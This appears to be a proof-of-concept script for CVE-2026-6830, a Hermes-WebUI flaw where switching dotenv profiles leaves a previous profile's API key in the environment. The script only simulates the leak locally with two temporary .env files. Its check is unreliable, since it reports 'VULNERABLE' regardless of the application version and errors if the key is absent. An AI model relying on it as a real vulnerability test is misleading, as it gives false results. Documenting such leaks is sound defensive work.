CVE-2026-6830 Hermes-WebUI环境变量泄漏漏洞

# PoC Concept for CVE-2026-6830 # This script demonstrates the environment variable leakage due to additive dotenv reloading. import os from dotenv import load_dotenv def simulate_profile_switch(profile_path): print(f"\n--- Switching to profile: {profile_path} ---") # The vulnerability occurs here: the application loads the new profile # without clearing the existing environment variables from the previous profile. load_dotenv(dotenv_path=profile_path, override=True) # Check if sensitive data from the previous profile persists secret = os.getenv('PROVIDER_API_KEY') print(f"Current PROVIDER_API_KEY: {secret}") return secret # Step 1: Load Profile A (Contains sensitive key) with open('profile_a.env', 'w') as f: f.write('PROVIDER_API_KEY=secret_key_profile_a') simulate_profile_switch('profile_a.env') # Step 2: Switch to Profile B (Does not contain the key) with open('profile_b.env', 'w') as f: f.write('OTHER_VAR=some_value') # In a vulnerable version, 'secret_key_profile_a' would still be accessible # even though profile_b.env does not define PROVIDER_API_KEY. # In the patched version, the environment should be cleared before loading. print("\n--- Exploitation Result ---") key_leaked = simulate_profile_switch('profile_b.env') if 'secret_key_profile_a' in key_leaked: print("[!] VULNERABLE: Sensitive data from Profile A leaked into Profile B context.") else: print("[+] SECURE: Environment variables were properly isolated.") # Cleanup os.remove('profile_a.env') os.remove('profile_b.env')